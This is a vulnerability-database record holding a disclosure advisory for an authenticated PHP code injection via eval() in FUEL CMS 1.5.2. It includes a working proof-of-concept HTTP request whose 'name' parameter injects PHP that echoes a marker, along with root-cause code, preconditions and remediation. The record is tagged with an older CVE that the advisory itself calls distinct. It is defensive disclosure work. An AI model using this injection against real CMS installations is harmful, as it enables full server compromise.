{"uuid": "b0267369-7021-4ba6-9d1c-db2061981c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16763", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/36cc837bc03bb724a3b70217e407ab42", "content": "# FUEL CMS PHP Code Injection (1.5.2)\n\n**CWE-94 \u00b7 Authenticated (admin session) \u00b7 Arbitrary PHP code execution via `name` GET parameter in Blocks::layout_fields()**\n\n&gt; **Vendor:** daylightstudio (Daylight Studio)\n&gt; **Product:** FUEL CMS (CodeIgniter 3.1.13)\n&gt; **Affected version:** 1.5.2 (master branch, commit 6fd06d4)\n&gt; **Affected endpoints:** `GET /index.php/fuel/blocks/layout_fields//?name=` (FUEL admin area)\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\n`Blocks::layout_fields()` (`fuel/modules/fuel/controllers/Blocks.php:179-265`) builds a PHP statement by string-concatenating the user-controlled `name` GET parameter and executes it with `@eval()` (line 264). The `name` value passes only CodeIgniter's XSS filter (`$this-&gt;input-&gt;get('name', TRUE)`, line 197), which does not sanitize PHP code. With a valid FUEL admin session this yields arbitrary PHP code execution on the host. Two structural preconditions apply (verified): the eval sits inside the `if (!empty($id))` branch, so the URI must contain a **non-empty `:id` segment** after the layout name, and the site must have **at least one block layout registered** in `$config['blocks']` (the documented, standard configuration of the Blocks module).\n\n## 2. Root Cause\n\n| File | Lines | Role |\n|---|---|---|\n| `fuel/modules/fuel/controllers/Blocks.php` | 197 | `$_name = $this-&gt;input-&gt;get('name', TRUE)` \u2014 XSS filter only, no PHP-code sanitization |\n| `fuel/modules/fuel/controllers/Blocks.php` | 256-258 | `explode('--', $_name)` \u2192 `end()` \u2192 bracket-only `str_replace` (no code filtering) |\n| `fuel/modules/fuel/controllers/Blocks.php` | 253 | `if ( ! empty($id))` \u2014 the eval branch; requires a non-empty `:id` URI segment |\n| `fuel/modules/fuel/controllers/Blocks.php` | 263-264 | statement built by concatenation and executed: `@eval($_name_var_eval)` |\n\n```php\n// L253: reached only when the URI segment :id is non-empty\nif ( ! empty($id))\n{\n    ...\n    // extract variables\n    extract($page_vars);\n    $name_parts = explode('--', $_name);\n    $_name = end($name_parts);\n    $_name_var = str_replace(array('[', ']'), array('[\"', '\"]'), $_name);   // L257: brackets only\n\n    if ( ! empty($_name_var))\n    {\n        $_name_var_eval = '@$_name = (isset($'.$_name_var.')) ? $'.$_name_var.' : \"\";';\n        @eval($_name_var_eval);                                            // L264: arbitrary PHP\n    }\n```\n\nThe input chain: GET `name` \u2192 `input-&gt;get('name', TRUE)` (XSS filter only) \u2192 `explode('--')`/`end()` \u2192 bracket `str_replace` \u2192 concatenation into the eval string. Nothing in the chain restricts the value to a variable name.\n\n## 3. Prerequisites\n\n1. **Valid FUEL admin session** with Blocks module access (Fuel_base_controller auth gate). The shipped installer schema (`fuel/install/fuel_schema.sql`, `fuel_users` insert) seeds a default super-admin account (`user_name` `admin`); sites that keep the default password are immediately exposed. Locally the password was set to a throwaway value (``).\n2. **At least one block layout registered** in `$config['blocks']` (`application/config/MY_fuel_layouts.php`) \u2014 the standard, documented way to configure the Blocks module (see the bundled Blocks-module docs). Without any registered block layout, `layout_fields()` returns before reaching the eval. The verification used a layout named `verify_block`.\n3. **A non-empty `:id` URI segment** (e.g. `/layout_fields/verify_block/1`) \u2014 the eval is inside the `if (!empty($id))` branch; any non-empty value works.\n\n## 4. Reproduction\n\nLogin (CSRF token taken from the login form), then request:\n\n```http\nGET /index.php/fuel/blocks/layout_fields/verify_block/1?name=a)); echo(\"FUELEVAL-\".md5(\"fuel-poc\")); // HTTP/1.1\nCookie: \n```\n\nThe eval string becomes:\n\n```php\n@$_name = (isset($a)); echo(\"FUELEVAL-\".md5(\"fuel-poc\")); //)) ? $a)); ... : \"\";\n```\n\n(everything after `//` is a line comment). Response: HTTP 200 with the page body containing:\n\n```\nFUELEVAL-5dfc072c655ea55ead079f0cb689c4ce\n```\n\n`md5(\"fuel-poc\") = 5dfc072c655ea55ead079f0cb689c4ce` (computed independently) \u2014 arbitrary PHP code executed. The payload only echoes an md5 marker; no `system()`/shell calls were used.\n\n## 5. Confirmed Techniques\n\n- With admin session + layout + `:id` segment + `name` payload \u2192 marker echoed (eval executed).\n- Control A \u2014 no session cookie: HTTP 302 redirect to `/fuel/login/...`, no evaluation (auth gate confirmed).\n- Control B \u2014 same payload **without** the `:id` segment (`/layout_fields/verify_block?name=...`): HTTP 200 normal field-form render, **no marker** (eval branch requires non-empty `$id`).\n- Control C \u2014 `:id` present but no `name` parameter: HTTP 200 normal render, no user input evaluated.\n\n## 6. Impact\n\nArbitrary PHP code execution under the web server identity for any holder of an admin session \u2014 full compromise of the CMS host (file access, database credentials in `database.php`, further pivoting). Practically this converts any admin-session theft (default seeded `admin` account left unchanged, session hijack, CSRF-adjacent attacks) into server takeover. No credential values are reproduced here; the locally verified password is ``.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (Base 8.7 High)\n\n## 8. Remediation\n\n- Replace the `eval()` with a strict variable-name whitelist check, e.g. `preg_match('/^[a-z_][a-z0-9_]*$/i', $_name_var)`, and reject anything else.\n- Alternatively parse the expression with a safe evaluator instead of `eval()`.\n- Keep the existing auth gate but treat `name` as untrusted data, never as code.\n\n## 9. References\n\n- Project: https://github.com/daylightstudio/FUEL-CMS\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- Related prior advisory (distinct sink): CVE-2018-16763 (Fuel_page.php page rendering/preview)\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-29T02:16:33.000000Z"}